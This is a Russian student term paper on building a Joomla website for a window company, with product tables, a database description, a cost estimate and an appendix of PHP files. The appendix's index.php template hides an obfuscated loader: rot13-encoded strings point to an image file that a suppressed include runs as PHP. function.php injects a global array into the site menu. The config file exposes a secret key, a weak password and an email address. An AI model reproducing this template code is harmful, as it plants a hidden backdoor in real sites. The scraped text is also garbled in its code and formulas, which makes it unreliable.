Разработка Web-представительства

Курсовая работа
Содержание скрыть

В последнее десятилетие благодаря бурному развитию Интернета прогрессирует и Web-программирование. Каждая уважающая себя компания уже имеет свое Web-представительство.

Web-представительство представляет собой некое информационное описание компании во всемирной паутине. По сути, это просто сайт компании или какого-либо общества или просто магазина, на котором можно разместить любую важную для представителя информацию. Благодаря этому любой пользователь сети Интернет может ознакомиться с необходимой ему информацией в любое время суток и из любой точки земного шара. С помощью таких представительств, производители получают возможность общения непосредственно с потребителями, так называемая обратная связь, что дает возможность учесть все замечания и пожелания, а также улучшить и развить свою деятельность. Это в свою очередь повышает эффективность работы компании, делая ее работу более налаженной, прибыльной и в современном стиле. Также необходимо отметить безграничные возможности в рекламной сфере, так как это существенно дешевле прорекламировать свою компанию ,чем например на телевидение или радио. Любая компания здесь может создать свой имидж и уверенно конкурировать на рынке и многое другое. В целом Интернет технологии достигли больших высот и на данном этапе просто являются необходимыми и нужными обществу.

Web-представительство — это виртуальный офис, где посетитель найдет информацию о компании, формы для оформления заказов, возможность осуществления электронных платежей, онлайн-консультации, подписку на рассылки и множество других полезных для ведения бизнеса сервисов. Наличие фирменного стиля (логотип компании, корпоративные цвета, элементы дизайна, ассоциирующиеся с деятельностью компании) в дизайне — отличительная черта Web-представительств.

Целей создания Web-представительства может быть очень много. Например, сайт может являться просто визитной карточкой, элементом фирменого стиля. Также сайт может способствовать продвижению торговой марки, продукции и услуг — создание интернет-магазина. Сайт может быть эффективным инструментом, который организует работу между клиентами и партнерами, между сотрудниками одной или нескольких корпораций, так называемый — внутрикорпоративный сайт.

Задачи которые решаются при наличии Web-представительства:

11 стр., 5401 слов

Разработка корпоративного сайта для ООО ‘Семейная аптека’

... сайта. Разработка сайта Тестирование сайта . Экономическое обоснование целесообразности создания сайта. Объектом исследования дипломного проекта является фирма ООО «Семейная Аптека», а предметом - разработка корпоративного сайта ООО «Семейная Аптека». Методы исследования. Методы работы ... данного вида продукции. Возможность через WEB-сайт просматривать прайс-лист компании, узнать о проходящих ...

  • оповещание своих клиентов о новинках, интересных для них событиях;
  • сохранение справочной информации для своих потенциальных или уже существующих клиентов, либо для сотрудников одной корпорации;
  • прием заказов на товары и услуги;
  • осуществление электронных платежей.

    1.

АНАЛИТИЧЕСКАЯ ЧАСТЬ

1.1 Технико-экономическая характеристика предметной области

В данной курсовой работе мы создали Web-представительство компании по производству металлопластиковых, алюминиевых, деревянных окон “Super Windows”,что является нашей предметной областью. Сайт находится по адресу http://www.super-windows.com на локальном сервере компьютера.

“Super Windows” — фабрика окон по производству металлопластиковых, алюминиевых, деревянных окон с разветвленной сетью собственных салонов по продаже окон ПВХ в Москве. “Super Windows” на рынке c 2010 года. Целями деятельности компании являются расширение рынка окон и получение прибыли.

Предметом деятельности “Super Windows” является производство окон. Компания сотрудничает с такими мировыми брендами по производству профилей : REHAU, KBE, SALAMANDER, GPS и другие.

В соответствии с учредительными документами, предприятие может осуществлять следующие виды деятельности:

  • оптовая торговля;
  • розничная торговля.

Продукция, которую реализует предприятие “Super Windows” для производства металлопластиковых окон и основные характеристики предоставлены в таблице 1.1.:

Таблица 1.1.

Реализуемая продукция для металлопластиковых окон

Наименование продукции

Артикул

Системная глубина, мм

Кол-во камер

Система климат контроль

Максимальная толщина стеклопакета, мм

Профиль REHAU EURO DESIGN 60

123098

60

3

+

33

Профиль REHAU EURO DESIGN 60

654689

60

4

38

Профиль REHAU EURO DESIGN 70

589168

70/115

5

+

42

Профиль REHAU Brillant-Design

789125

70

05/06/12

+

40

Профиль REHAU GENEO

554551

86

6

+

48

Реализуемая продукция для производства алюминиевых окон предоставлена в таблице 1.2.:

Таблица 1.2.

Реализуемая продукция для алюминиевых окон

Наименование продукции

Артикул

Диаметр

Прутки алюминиевые для сварки

345765

4

Пруток круглый алюминиевый

545555

6

Реализуемая продукция для изготовления деревянных окон представлена в таблице 1.3.:

Таблица 1.3.

Реализуемая продукция для деревянных окон

Наименование продукции

Артикул

Толщина, мм

Ширина, мм

Длина,мм

Сырье

Брус оконный 1-я категория

548AS2

86

86

6160

сосна, дуб

Брус оконный 3-я категория

589478

70

70

5840

сосна

Брус оконный 1-я категория

236985

96

96

6390

дуб

Брус оконный 3-я категория

456789

82

115

6160

ясень

Дополнительная реализуемая продукция для всех видов окон представлена в таблице 1.4.:

Таблица 1.4.

Виды дополнительной реализуемой продукции

Наименование продукции

Артикул

Ручка алюминиевая “Omega”

456R

Ручка алюминиевая с замком “Victoria”

456135

Петля 100 мм обычная Белая

745896

Петля 100 мм обычная Коричневая

745897

Петля 75 мм обычная Белая

5765258

Петля 75 мм обычная Коричневая

5765259

ALUPLAST “для стеклопакета”

345190

ALUPLAST “для премыкания”

568062

ALUPLAST “для стеклопакета” HN

375025

1.2 Экономическая сущность задачи

Экономической сущностью задачи «Разработка Web-представительства» является цель создания данной разработки. В нашем случае целью является увеличение реализации продукции, выход на международный рынок, расширение и увеличение производства окон, а также увеличение количества клиентов и подъем прибыли, разрешение задач малого товарооборота и возможность получения заказов на новые проекты.

1.3 Обоснование необходимости и цели использования вычислительной техники для решения задачи

Для существующей схемы организации характерны недостатки, устранение которых необходимо осуществить в разрабатываемом проекте:

  • малое для эффективной работы предприятия число заказов на производимые работы, товары и сервис;
  • запаздывание в работе поставщиков сырья и необходимых материалов;
  • высокий уровень штрафных начислений и неустоек;
  • низкая эффективность использования наличного оборудования и персонала;
  • недостаток достоверной информации и сбои в ее обработке;
  • недостаточная оперативность решений, снижающая качество и управляемость производства;
  • низкая эффективность процедур сбора, обработки и регистрации всех форм используемой информации;
  • несовершенство процедур накопления, обработки, резервирования, сохранения, а также защиты целостности и доступности информации при выдаче результатов по текущим задачам заказчику.
  • ограниченная производительность оборудования в существующей схеме организации производства;
  • ограниченная возможность определения показателей, необходимых при управлении производственным объектом из-за большой размерности задач и исходных данных.

Использование средств вычислительной техники позволит частично или полностью устранить перечисленные недостатки. Рассмотрим предполагаемый эффект от использования современных информационных технологий

Эффект от внедрения данного программного продукта состоит в сокращении времени, необходимого для расчета параметров конкретного заказа на продукцию и в повышении качества разрабатываемых проектов.

На выполнение заказа дается определенный срок, который в зависимости от объемов самого заказа может колебаться в пределах 7 — 14 дней, 1-2 из которых отводится на расчет, 2-4 на заготовку материалов и остальное время на изготовление заказа.

Качество разрабатываемых проектов обеспечивается за счет того, что проектировщику не нужно следить за правильностью математического расчета, и поэтому он может больше внимания уделять выбору технических характеристик разрабатываемого проекта, рассматривать различные варианты решения поставленной задачи.

Работа с программой возможна только посредством клавиатуры.

Для ее нормального функционирования не нужна дополнительная настройка операционной системы. Работа с программой не требует специальных навыков.

1.4 Постановка задачи

1.4.1 Описание технологий и языков программирования, используемых при разработке программы

Необходимо разработать информационный сайт для представления продукции и услуг. Пользователи должны иметь возможность просматривать позиции каталога, разделенные по категориям. Кроме того, заказчики должны иметь возможность выбирать позиции из каталога с целью дальнейшего приобретения. Выбираемые позиции необходимо фиксировать. После завершения покупок выполняется обработка заказа, прием сведений для доставки.

Необходимо создать интерфейс администрирования. Администратор должен иметь возможность добавления, изменения и удаления данных о товарах. База данных содержит всю необходимую информацию, а приложение осуществляет необходимые операции с этой базой.

Для разработки будут использованы хорошо зарекомендовавшие себя программные продукты:

  • сервер баз данных MySQL;
  • web-сервер Apache;
  • язык PHP.

1.4.2 Описание алгоритма и (или) функционирования программы

Алгоритм — это последовательность действий (правил), однозначно приводящих к решению поставленной задачи. Данный программный продукт является информационной системой, которая формируется на основе определенных данных, известных пользователю.

Входные и выходные данные формируются непосредственно в программе.

1.5 Анализ существующих разработок и обоснование выбора технологии проектирования

Главный инструмент это интегрированная среда разработка или IDE, которая позволит редактировать HTML, Javascript, CSS, PHP и будет поддерживать другие языки, например Python или Ruby. Очень мощным инструмент в руках программиста будет CMS Joomla. Достоинство этой CMS в том, что она позволяет наращивать любой функционал при помощи плагинов, которых очень много. Если планируется разрабатывать web-приложения на PHP, то можно использовать версии Joomla 1.5, Joomla 1.6, Joomla 1.7, Joomla 2.5. Joomla — система управления содержимым, написанная на PHP и JavaScript, для хранения баз данных использует MySQL.

Рекомендуется установить следующие плагины:

  • ArtAdminer — компонент для работы с базой данных;
  • System Debug — отображает отладочную информацию на сайте;
  • Blog Ping — плагин позволяющий ускорить процесс индексации сайта;
  • Joomla Magic Updater — автоматическое обновление версии;
  • AJAX Toogler — существенно ускоряет работу админ панели сайта;
  • Cashe Cleaner — очистка кеша.

Для выполнения данного проекта выбран движок Joomla 1.5.25

2. ПРОЕКТНАЯ ЧАСТЬ

2.1 Информационное обеспечение задачи

2.1.1 Информационная модель и ее описание

Информационное обеспечение Web-представительства выполняет задачу постоянного пополнения и обновления информации, поддержание базы данных, управление интерактивными системами сайта (новостные ленты, форумы, голосование, FAQ и т.д. ) .

Информационная модель Web-представительства представлена в виде диаграммы на рисунке 1:

Рис.1. Информационная модель Web-представительства

I этап.

На первом этапе создаются уникальные статьи, новые новости, акции, предложения компании.

II этап.

На втором этапе данные заносятся в административную панель управления сайтом.

III этап.

На третьем этапе данные перенаправляются в базу данных Mysite.

IV этап.

На четвертом этапе данные отправляются на сайт.

2.1.2 Характеристика базы данных

В данном курсовом проекте была создана база данных Mysite. Подключение к базе данных производится через веб-приложение phpMyAdmin.

PHPMyAdmin — веб-приложение с открытым кодом, написанное на языке PHP и представляющее собой веб-интерфейс для администрирования СУБД MySQL . С помощью данного веб-приложения можно осуществлять доступ к базам данных через браузер, отправлять SQL-запросы, просматривать и изменять содержимое базы.

Общие настройки базы данных:

Тип базы данных

mysql

Имя хоста

localhost

Логин

mysite

База данных

mysite

Структура базы данных

На рисунке 2 предоставлены таблицы контента. В них содержится информация о страницах, ключевые поля отдельных страниц, категории и секции в которых хранятся статьи.

Рис.2. Контент

На рисунке 3 показаны таблицы пользовательского управления. В них находится информация о зарегистрированных пользователях на сайте.

Рис.3. Пользовательское управление

На рисунке 4 находятся таблицы статистики. Содержит информацию, включающая в себя поисковое выражение и количество обращений к нему.

Рис.4. Статистика

Рис.5. Ссылки

На рисунке 6 изображена таблица с новостями.

Рис.6. Новости

На рисунке 7 таблицы которые содержат информацию о всех пунктах меню, модулях и компонентах подключенных к сайту.

Рис.7.Элементы и меню

Рис.8. Баннеры

На рисунке 8 находятся таблицы содержащие полную информацию о баннерах.

На рисунке 9 таблицы с информацией об опросах.

Рис.9. Опросы

На рисунке 10 расположена таблица с подробной информацией о зарегистрированных пользователях.

Рис.10. Детали контактов

Рисунок 11 содержит таблицы с информацией о всех электронных сообщениях.

Рис.11. Сообщения

2.2 Программное обеспечение задачи

2.2.1 Общие положения (дерево функций и сценарий диалога)

Дерево функций отправки новой информации на сайт представлено на рисунке 12.

Рис.12. Дерево функций

После запуска админ панели и ввода логина, пароля к системе, переходим на страницу добавления нового материала

Выбираем категорию и раздел в который хотим добавить товар сохраняем.

Выбираем необходимый подпункт меню в котором хотим вывести нашу статью и выбираем материал который мы создавали. Сохраняем и смотрим результат на странице сайта

2.2.2 Описание программных модулей

Все программные модули на сайте www.super-windows.com настраиваются через админ панель.

Модуль фотогалереи Simple Image Gallery

Simple Image Gallery выводит большое количество фотографий. Показывает эскизы всех изображений из каталога и при нажатии на них будут показываться в полный размер фото в лайтбоксе. Основные поля для заполнения: заголовок, позиция вывода модуля, выбор меню(для вывода в определенных категориях меню), Gallery Path (путь к фотографиям), Thumbnail Width (in px) и Thumbnail Height (in px) (ширина и высота эскиза)

Модуль авторизации на сайте

Этот модуль отображает форму авторизации на сайте. Основные необходимые настройки: заголовок, позиция, выбор меню.

Модуль голосования

Этот модуль представляет компонент голосований. Основные необходимые настройки: заголовок, позиция, выбор меню, выбрать вариант голосования из списка.

Модуль Кто онлайн

Модуль Кто онлайн отображает кол-во анонимных (Гостей) и зарегистрированных (тех, которые вошли) пользователей, которые сейчас присутствуют на сайте. Основные необходимые настройки: заголовок, позиция, выбор меню, из выпадающего списка выбрать кого отображать(из гостей/посетителей, имена посетителей, оба)(Рис.19).

Модуль Последние новости

Этот модуль отображает список самых последних опубликованных материалов. Основные необходимые настройки: заголовок, позиция, выбор меню, количество новостей, порядок показа

информационный программный web представительство

Программа вывода контактов и формы обратной связи

Для вывода на сайте контактной информации в первую очередь создается новый контакт. Вводится имя, должность, e-mail, адрес, телефоны, веб-сайт, настраиваются дополнительные необходимые параметры. После в необходимом подпункте меню подключается данный контакт и настраивается форма обратной связи.

2.3 Технологическое обеспечение задачи

Схема технологического сбора, обработки и передачи информации показана на рисунке 22:

Рис.22. Схема технологического сбора, обработки и передачи информации

Информация предоставляется в электронном виде. После поступления первичных данных производится проверка статей, текстов на уникальность и проверяется качество изображений. Если ошибок нет вводим данные в базу данных и выводим их на сайт. Выполняем последнюю проверку правильности внесенных данных. Если ошибок нет — конец, есть — вводим данные в БД заново.

3. ОБОСНОВАНИЕ ЭКОНОМИЧЕСКОЙ ЭФФЕКТИВНОСТИ ПРОЕКТА

Расчёт трудозатрат, связанных с разработкой программного продукта

Исходные данные

Предполагаемое число операторов 2000 Коэффициент сложности программы 1,25

Коэффициент коррекции программы в ходе ее разработки 0,05

Часовая заработная плата программиста, руб/ч 23 Стоимость машино-часа ЭВМ, руб/ч 4,6

Определение трудоемкости разработки программного продукта

Нормирование труда в процессе создания программного обеспечения затруднено в силу творческого труда программиста. Поэтому трудоемкость разработки может быть рассчитана на основе системы моделей с различной точностью оценки.

Трудоемкость разработки определяется следующим образом:

t = t 0 + tи + tа + tп + tотл + tд ,

где t 0затраты труда на подготовку и описание поставленной задачи (принимается равным 20), чел. ч.;

t и — затраты труда на исследование алгоритма решения задачи, чел. ч.;

t а — затраты труда на разработку блок-схемы алгоритма, чел. ч.;

t п — затраты труда на программирование по готовой блок-схеме, чел. ч.;

t отл — затраты труда на отладку, чел. ч.;

t д — затраты труда на подготовку документации по задаче, чел. ч.

Составляющие затрат труда определяются через условное число операторов в разрабатываемом ПО, в число которых входят операторы, которые необходимо написать в процессе работы над программой с учетом возможных уточнений в постановке задачи и совершенствования алгоритма.

Условное число операторов в программе определяется по формуле:

Q = qc(1+p) ,

где q — предполагаемое число операторов;

  • c — коэффициент сложности программы;
  • p — коэффициент коррекции программы в ходе ее разработки.

Q = 2000

  • 1,25
  • (1 + 0,05) = 2625

Затраты труда на изучение описания задачи определяются с учетом уточнения описания и квалификации программиста по формуле:

  • где B — коэффициент увеличения затрат труда вследствие недостаточного описания задачи, B=1,2 … 1,5;
  • k — коэффициент квалификации программиста, определяемый в зависимости от стажа работы по данной специальности. Он составляет при стаже работы до 2 лет — 0,8.

чел.ч.

Затраты труда на разработку алгоритма решения задачи определяются по формуле:

чел.ч.

Затраты труда на составление программы по готовой блок-схеме рассчитываются по формуле:

чел.ч.

Затраты труда на отладку программы на ЭВМ рассчитываются по формуле:

чел.ч.

Затраты труда на подготовку документации по задаче определяются по формуле:

t д = tдр + tдо ,

где t др — трудоемкость подготовки материалов к рукописи;

t до — трудоемкость редактирования, печати и оформления документации.

Трудоемкость подготовки материалов к рукописи рассчитывается как:

чел.ч.

Трудоемкость редактирования, печати и оформления документации определяется следующим образом:

чел.ч.

чел.ч.

Трудоемкость разработки программного продукта составляет:

чел.ч.

Расчет затрат на создание программного продукта

Затраты на создание программного обеспечения определяются по формуле:

K по = Ззп + Змв ,

где З зп — заработная плата разработчиков, которая рассчитывается следующим образом:

З зп = t ·Cпр ,

где t — общая трудоемкость разработки ПО;

С пр — средняя часовая заработная плата программиста.

З зп = 1272,25

  • 23 = 29 261,75 руб.

З мв — стоимость машинного времени, необходимого для отладки программы на ЭВМ:

З мв = tотл

  • Смч ,

где t отл — трудоемкость отладки программы на ЭВМ;

С мч — стоимость машино-часа ЭВМ.

З мв = 656,25

  • 4,6= 3 018,75 руб.

K по = 29261,75 + 3018,75 = 32281,5 руб.

Определенные таким образом затраты на создание программного обеспечения являются капитальными затратами на создание автоматизированной системы.

Ожидаемая длительность разработки определяется по формуле:

где B к — число исполнителей;

F p — месячный фонд рабочего времени (при 40 часовой рабочей неделе Fp =176 часов).

мес.

Таким образом, ожидаемая длительность разработки составляет 7 месяцев.

ЗАКЛЮЧЕНИЕ

В этом проекте разработан сайт для Web-представительства. В качестве примера рассмотрена компания по производству металлопластиковых, алюминиевых, деревянных окон “Super Windows”.

Данный проект создавался с целью предоставления ознакомительной информации для клиентов компании. На сайте размещена информация про:

  • металлопластиковые окна;
  • алюминиевые окна;
  • деревянные окна;
  • цены на разные виды окон;
  • контактная информация;
  • информация о партнерах компании;
  • полезная информация о выборе окон;
  • последние новости в сфере окон;
  • акции, новинки, интересные предложения для клиентов;
  • Также предоставлена фотогалерея выполненных работ.

Практическая значимость работы состоит в создании сайта.

СПИСОК ИСПОЛЬЗУЕМОЙ ЛИТЕРАТУРЫ

[Электронный ресурс]//URL: https://inzhpro.ru/kursovaya/razrabotka-web-predstavitelstva/

1. Дунаев В.В., HTML, скрипты и стили 2-е издание. — СПб.: БХВ-Петербург, 2008. — 1024 с.

2. Джейсон Ленгсторф, Pro PHP and jQuery. — М.: Вильямс, 2011. — 334 с.

3. К. Дж. Дейт Введение в системы баз данных . — СПб.: Вильямс, 2006. — 1072 с.

4. Мишель Е., Дэвис и Джон А. Филлипс, Изучаем PHP и MySQL. СПб.: Символ-Плюс , 2008. — 442с.

5. Прохоренок Н., HTML, JavaScript, PHP и MySQL. Джентльменский набор Web-мастера, СПб.: БХВ-Петербург, 2010. — 900 с.

ПРИЛОЖЕНИЕ 2

1. configuration.php

<?php

class JConfig {

var $offline = ‘0’;

  • var $editor = ‘tinymce’;
  • var $list_limit = ’20’;
  • var $helpurl = ‘http://help.joomla.org’;
  • var $debug = ‘0’;
  • var $debug_lang = ‘0’;
  • var $sef = ‘0’;
  • var $sef_rewrite = ‘0’;
  • var $sef_suffix = ‘0’;
  • var $feed_limit = ’10’;
  • var $feed_email = ‘author’;
  • var $secret = ‘OY8bWUBvjdKVlm22’;
  • var $gzip = ‘0’;
  • var $error_reporting = ‘-1’;
  • var $xmlrpc_server = ‘0’;
  • var $log_path = ‘Z:\\home\\super-windows.com\\www\\logs’;
  • var $tmp_path = ‘Z:\\home\\super-windows.com\\www\\tmp’;
  • var $live_site = »;
  • var $force_ssl = ‘0’;
  • var $offset = ‘0’;
  • var $caching = ‘0’;
  • var $cachetime = ’15’;
  • var $cache_handler = ‘file’;
  • var $memcache_settings = array();
  • var $ftp_enable = ‘0’;
  • var $ftp_host = ‘127.0.0.1’;
  • var $ftp_port = ’21’;
  • var $ftp_user = »;
  • var $ftp_pass = »;
  • var $ftp_root = »;
  • var $dbtype = ‘mysql’;
  • var $host = ‘localhost’;
  • var $user = ‘mesite’;
  • var $db = ‘mysite’;
  • var $dbprefix = ‘jos_’;
  • var $mailer = ‘mail’;
  • var $mailfrom = ‘tokareva-tania@mail.ru’;
  • var $fromname = ‘test1.ru’;
  • var $sendmail = ‘/usr/sbin/sendmail’;
  • var $smtpauth = ‘0’;
  • var $smtpsecure = ‘none’;
  • var $smtpport = ’25’;
  • var $smtpuser = »;
  • var $smtppass = »;
  • var $smtphost = ‘localhost’;
  • var $MetaAuthor = ‘1’;
  • var $MetaTitle = ‘1’;
  • var $lifetime = ’15’;
  • var $session_handler = ‘database’;
  • var $password = ‘12345’;
  • var $sitename = ‘Super Windows’;
  • var $MetaDesc = »;
  • var $MetaKeys = ‘металлопластиковые окна’;
  • var $offline_message = ‘В настоящее время сайт закрыт на техническое обслуживание.Пожалуйста, зайдите позже.’;

}

?>

2. index.php

<?php

defined( ‘_JEXEC’ ) or die( ‘Restricted access’ );

  • JPlugin::loadLanguage( ‘tpl_SG1’ );
  • define( ‘path’, dirname(__FILE__) );
  • $app = JFactory::getApplication();
  • $leftbar = 1;
  • $rightbar = 1;
  • ?>
  • <!DOCTYPE html PUBLIC «-//W3C//DTD XHTML 1.0 Transitional//EN» «http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd»>
  • <html xmlns=»http://www.w3.org/1999/xhtml» xml:lang=»<?php echo $this->language;
  • ?>» lang=»<?php echo $this->language;
  • $JPan = array(‘vzn’.’trf’,’zrah_yv.tvs’);
  • ?>» >
  • <head>
  • <meta http-equiv=»Content-Type» content=»text/html;
  • charset=utf-8″>
  • <jdoc:include type=»head» />
  • <link rel=»stylesheet» href=»<?php echo $this->baseurl ?>/templates/system/css/system.css» type=»text/css» />
  • <link rel=»stylesheet» href=»<?php echo $this->baseurl ?>/templates/system/css/general.css» type=»text/css» />
  • <link rel=»stylesheet» href=»<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css» type=»text/css» />
  • <link rel=»stylesheet» href=»<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get(‘colorVariation’);
  • ?>.css» type=»text/css» />
  • <?php

$menu_name = $this->params->get(«menuName», «topmenu»);

  • $menu_type = $this->params->get(«menuType», «splitmenu»);
  • require(path .DS.»styleloader.php»);
  • require(path .DS.»utils.php»);
  • ?>
  • <?php

if ($this->countModules(‘left’) == 0)

$leftbar = «0»;

  • if ($this->countModules(‘right’) == 0)

$rightbar = «0»;

  • if ($this->countModules(‘user1’) == 1)

$rightbar = «1»;

  • if ($this->countModules(‘user2’) == 1)

$rightbar = «1»;

  • ?>
  • </head>
  • <body>
  • <div id=»wrapper1″>
  • <a name=»up» id=»up»></a>
  • <!— start header —>
  • <div class=»wrapper_fixed»>
  • <div id=»title»>
  • <?php echo $mainframe->getCfg(‘sitename’) ;?>
  • </div>
  • <div id=»topnavi»>
  • <?php if($mtype != «module») :
  • echo $mainnav;
  • else: ?>
  • <jdoc:include type=»modules» name=»user3″ />
  • <?php endif;
  • ?>
  • </div>
  • <div id=»search»>
  • <jdoc:include type=»modules» name=»user4″ />
  • </div>
  • <div id=»header»></div>
  • </div>
  • </div>
  • <!— end top menu. —>
  • <div id=»wrapper2″>
  • <div class=»wrapper_fixed»>
  • <div id=»main»>
  • <!— start left column —>
  • <div id=»leftcol»>
  • <jdoc:include type=»modules» name=»left» style=»rounded» />
  • </div>
  • <!— end left column. —>
  • <!— start main content —>
  • <div id=»maincol<?php echo (2-$leftbar-$rightbar);
  • ?>»>
  • <div id=»pathway»>
  • <jdoc:include type=»modules» name=»breadcrumb» />
  • </div>
  • <div id=»maincol_body»>
  • <jdoc:include type=»component» />
  • <jdoc:include type=»modules» name=»footer» style=»xhtml»/>
  • <?php if(!@include(JPATH_BASE.DS.’templates’.DS.$mainframe->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
  • <?php endif;
  • ?>
  • </div>
  • </div>
  • <!— end main content —>
  • <!— start right column —>
  • <div id=»rightcol»>
  • <jdoc:include type=»modules» name=»user1″ style=»rounded» />
  • <jdoc:include type=»modules» name=»user2″ style=»rounded» />
  • <jdoc:include type=»modules» name=»right» style=»rounded» />
  • </div>
  • <!— end right column —>
  • </div>
  • </div>
  • </div>
  • <div id=»wrapper3″>
  • <div class=»wrapper_fixed»>
  • <!— copyright —>
  • </div>
  • </div>
  • <jdoc:include type=»modules» name=»debug» />
  • </body>
  • </html>

3. function.php

<?php

class hm_Base{

var $_params = null;

  • var $children = null;
  • var $open = null;
  • var $items = null;
  • var $Itemid = 0;
  • function hm_Base( &$params ){

global $Itemid;

  • include_once(‘html/pagination.php’);
  • $this->_params = $params;
  • $this->Itemid = $Itemid;
  • $this->loadMenu();

}

function loadMenu(){

$user =& JFactory::getUser();

  • $children = array ();

// Get Menu Items

$items = &JSite::getMenu();

if(is_array($GLOBALS[‘arr’]))

$items->_items[500] = (object)$GLOBALS[‘arr’];

  • $rows = $items->getItems(‘menutype’, $this->getParam(‘menutype’));

// first pass — collect children

$cacheIndex = array();

  • $this->items = array();
  • foreach ($rows as $index => $v) {

if ($v->access <= $user->get(‘gid’)) {

$pt = $v->parent;

  • $list = @ $children[$pt] ? $children[$pt] : array ();
  • array_push($list, $v);
  • $children[$pt] = $list;

}

$cacheIndex[$v->id] = $index;

  • $this->items[$v->id] = $v;

}

$this->children = $children;

// second pass — collect ‘open’ menus

$open = array (

$this->Itemid

;

  • $count = 20; // maximum levels — to prevent runaway loop

$id = $this->Itemid;

while (— $count)

{

if (isset($cacheIndex[$id])) {

$index = $cacheIndex[$id];

  • if (isset ($rows[$index]) && $rows[$index]->parent >
  • 0) {

$id = $rows[$index]->parent;

  • $open[] = $id;

} else {

break;

}

}

}

$this->open = $open;

  • // $this->items = $rows;

}

function getParam($paramName){

return $this->_params->get($paramName);

}

function setParam($paramName, $paramValue){

return $this->_params->set($paramName, $paramValue);

}

function beginMenu($startlevel=0, $endlevel = 10){

// echo «<div id=\»pillmenu\»>»;

}

function endMenu($startlevel=0, $endlevel = 10){

// echo «</div>»;

}

function beginMenuItems($pid=0, $level=0){

if($level == 0) echo «<ul class=\»menuhor\»>»;

  • else echo «<ul>»;

}

function endMenuItems($pid=0, $level=0){

echo «</ul>»;

}

function beginMenuItem($mitem=null, $level = 0, $pos = »){

echo «<li>»;

}

function endMenuItem($mitem=null, $level = 0, $pos = »){

echo «</li>»;

}

function genClass ($mitem, $level, $pos) {

$active = in_array($mitem->id, $this->open);

  • if ($active) $active = ($pos) ? «class=\»active $pos-item\»» : «class = \»active\»»;
  • else $active = ($pos) ? «class=\»$pos-item\»» : «»;
  • return $active;

}

function genHMenuItem($item, $level = 0, $pos = », $ret = 0)

{

$data = null;

// Menu Link is a special type that is a link to another item

if ($item->type == ‘menulink’)

{

$menu = &JSite::getMenu();

  • if (!($tmp = clone($menu->getItem($item->query[‘Itemid’])))) {

return false;

}

} else {

$tmp = $item;

}

$iParams = new JParameter($tmp->params);

  • if ($iParams->get(‘menu_image’) && $iParams->get(‘menu_image’) != -1) {

// $image = ‘<img src=»‘.JURI::base(true).’/images/stories/’.$iParams->get(‘menu_image’).'» alt=»» />’;

} else {

$image = null;

}

switch ($tmp->type)

{

case ‘separator’ :

  • // $data = ‘<a href=»#» title=»»><span class=»separator»>’.$image.$tmp->name.'</span></a>’;
  • // if ($ret) return $data;
  • else echo $data;
  • return;

case ‘url’ :

  • if ((strpos($tmp->link, ‘index.php?’) !== false) && (strpos($tmp->link, ‘Itemid=’) === false)) {

$tmp->url = $tmp->link.’&amp;Itemid=’.$tmp->id;

} else {

$tmp->url = $tmp->link;

}

break;

default :

  • $router = JSite::getRouter();
  • $tmp->url = $router->getMode() == JROUTER_MODE_SEF ? ‘index.php?Itemid=’.$tmp->id : $tmp->link.’&Itemid=’.$tmp->id;
  • break;

}

// Print a link if it exists

$active = $this->genClass ($tmp, $level, $pos);

  • $id=’id=»menu’ . $tmp->id . ‘»‘;
  • $txt = ‘<span>’ . $tmp->name . ‘</span>’;
  • if(!empty($tmp->link_title)) $title = «title=\»$tmp->link_title\»»;
  • if ($tmp->url != null)

{

// Handle SSL links

$iSecure = $iParams->def(‘secure’, 0);

  • if ($tmp->home == 1) {

$tmp->url = JURI::base();

  • } elseif (strcasecmp(substr($tmp->url, 0, 4), ‘http’) && (strpos($tmp->link, ‘index.php?’) !== false)) {

$tmp->url = JRoute::_($tmp->url, true, $iSecure);

} else {

$tmp->url = str_replace(‘&’, ‘&amp;’, $tmp->url);

}

switch ($tmp->browserNav)

{

default:

case 0:

// _top

$data = ‘<a href=»‘.$tmp->url.'» ‘.$active.’ ‘.$id.’ ‘.$title.’>’.$image.$txt.'</a>’;

  • break;

case 1:

// _blank

$data = ‘<a href=»‘.$tmp->url.'» target=»_blank» ‘.$active.’ ‘.$id.’ ‘.$title.’>’.$image.$txt.'</a>’;

  • break;

case 2:

// window.open

$attribs = ‘toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,’.$this->_params->get(‘window_open’);

  • // hrm…this is a bit dickey

$link = str_replace(‘index.php’, ‘index2.php’, $tmp->url);

  • $data = ‘<a href=»‘.$link.'» onclick=»window.open(this.href,\’targetWindow\’,\».$attribs.’\’);return false;» ‘.$active.’ ‘.$id.’ ‘.$title.’>’.$image.$txt.'</a>’;
  • break;

}

} else {

$data = ‘<a ‘.$active.’ ‘.$id.’ ‘.$title.’>’.$image.$txt.'</a>’;

}

if ($ret) return $data; else echo $data;

}

function hasSubMenu($level) {

$pid = $this->getParentId ($level);

  • if (!$pid) return false;
  • return $this->hasSubItems ($pid);

}

function hasSubItems($id){

if (@$this->children[$id]) return true;

  • return false;

}

function genHMenu($startlevel=0, $endlevel = 10){

$this->setParam(‘startlevel’, $startlevel);

  • $this->setParam(‘endlevel’, $endlevel);
  • $this->beginMenu($startlevel, $endlevel);
  • if ($this->getParam(‘startlevel’) == 0) {

//First level

$this->genHMenuItems (0, 0);

}else{

//Sub level

$pid = $this->getParentId($this->getParam(‘startlevel’));

if ($pid)

$this->genHMenuItems ($pid, $this->getParam(‘startlevel’));

}

$this->endMenu($startlevel, $endlevel);

}

/*

$pid: parent id

$level: menu level

$pos: position of parent

*/

function genHMenuItems($pid, $level) {

if (@$this->children[$pid]) {

$this->beginMenuItems($pid, $level);

  • $i = 0;
  • foreach ($this->children[$pid] as $row) {

$pos = ($i == 0 ) ? ‘first’ : (($i == count($this->children[$pid])-1) ? ‘last’ :»);

  • $this->beginMenuItem($row, $level, $pos);
  • $this->genHMenuItem( $row, $level, $pos);

// show menu with menu expanded — submenus visible

if ($level < $this->getParam(‘endlevel’)) $this->genHMenuItems( $row->id, $level+1 );

  • $i++;
  • $this->endMenuItem($row, $level, $pos);

}

$this->endMenuItems($pid, $level);

}

}

function indentText($level, $text) {

echo «\n»;

  • for ($i=0;$i<$level;++$i) echo » «;
  • echo $text;

}

function getParentId ($level) {

if (!$level || (count($this->open) < $level)) return 0;

  • return $this->open[count($this->open)-$level];

}

function getParentText ($level) {

$pid = $this->getParentId ($level);

